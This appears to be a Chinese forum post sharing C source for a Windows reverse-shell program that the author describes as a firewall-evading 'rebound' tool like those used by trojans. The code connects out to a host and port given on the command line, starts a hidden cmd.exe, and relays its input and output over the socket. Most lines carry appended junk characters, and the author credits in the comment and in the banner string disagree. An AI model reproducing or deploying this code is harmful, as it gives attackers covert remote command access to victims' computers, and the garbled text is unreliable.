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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 neh(<>  
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/* ============================== e )ZUO_Q$  
Rebound port in Windows NT Ymgw-NJ;(  
By wind,2006/7 p<2,=*2  
===============================*/ Q?T]MUY(L  
#include >p/`;Kq@  
#include Jwp7gYZ  
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#pragma comment(lib,"wsock32.lib") (t.Nk[  
X 8|EHb<  
void OutputShell(); +V+a4lU14  
SOCKET sClient; f)!Z~t &  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; H"KCK6  
07)yG:q*x  
void main(int argc,char **argv) iLz@5Zj8  
{ *H122njH+T  
WSADATA stWsaData; +RXoi2"-q@  
int nRet; 1}37Q&2  
SOCKADDR_IN stSaiClient,stSaiServer; "j-CZ\]U|  
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if(argc != 3) nm+s{  
{ &{RDM~  
printf("Useage:\n\rRebound DestIP DestPort\n"); Ah<+y\C  
return; l@\FWWQ  
} \1`O_DF~o  
b\ PgVBf9  
WSAStartup(MAKEWORD(2,2),&stWsaData); Y~Ifj,\  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Wf<LR3  
fatf*}eln  
stSaiClient.sin_family = AF_INET; mt`.6Xz~  
stSaiClient.sin_port = htons(0); XM}hUJJW  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s7EinI{^  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) qVPeB,kIz  
{ 7rPF$ \#  
printf("Bind Socket Failed!\n"); }i2V.tVB-  
return; ?}7p"3j'z  
} q9NoI(]e  
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stSaiServer.sin_family = AF_INET; *qMY22X  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X(C$@N  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); {PmZ9  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 1U\z5$V  
{ *' X3z@R  
printf("Connect Error!"); Jo}eeJ;k  
return; Sc   
} 4OX^(  
OutputShell(); "] iB6  
} .~}1+\~5  
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void OutputShell() =2 kG%9  
{ rbpSg7}Q  
char szBuff[1024]; _2nx^E(pd  
SECURITY_ATTRIBUTES stSecurityAttributes; ?rIx/>C9  
OSVERSIONINFO stOsversionInfo; ,(4K4pN  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; N [yy M'C  
STARTUPINFO stStartupInfo; HmwT~  
char *szShell; LDD|(KLR*.  
PROCESS_INFORMATION stProcessInformation; yZ`wfj$Jj  
unsigned long lBytesRead; yWya&|D9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _[y/Y\{I  
f {"?%Ku#  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )WoxMmz  
stSecurityAttributes.lpSecurityDescriptor = 0; ;\l,5EG  
stSecurityAttributes.bInheritHandle = TRUE; Q^ (b)>?r;  
mQ=#nk$~g  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )/EO&F  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5D l/aHb  
?rup/4|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 'eX '  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #=v~8  
stStartupInfo.wShowWindow = SW_HIDE; LrK,_)r:~  
stStartupInfo.hStdInput = hReadPipe; -tNUMi'  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; t_suF$  
|&[EZ+[  
GetVersionEx(&stOsversionInfo); 69 o 7EA  
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switch(stOsversionInfo.dwPlatformId) )tpL#J  
{  {>%&(  
case 1: [=_jYzD,j|  
szShell = "command.com"; W,-g=6,  
break; $2el&I  
default: f4Rf?w*  
szShell = "cmd.exe"; ilva,WFa^  
break; gGS=cdlV  
} hiw|2Y&`  
V#}kwON  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &yol_%C  
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send(sClient,szMsg,77,0); Q1l' 7N  
while(1) c7E11 \%&Z  
{ Z*2Vpnqh\  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?KI,cl  
if(lBytesRead) lUiL\~Gq  
{ Zoc0!84<z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); jMDY(mwt  
send(sClient,szBuff,lBytesRead,0); V,?yPi$#E  
} m<g~H4  
else d&s9t;@=  
{ @{pLk4E  
lBytesRead=recv(sClient,szBuff,1024,0); 4I?^t"  
if(lBytesRead<=0) break; E\2%E@0#  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ]P2"[y  
} 9]wN Bd  
} %-e 82J1  
)D82N`c2\i  
return; [=^3n#WW  
}
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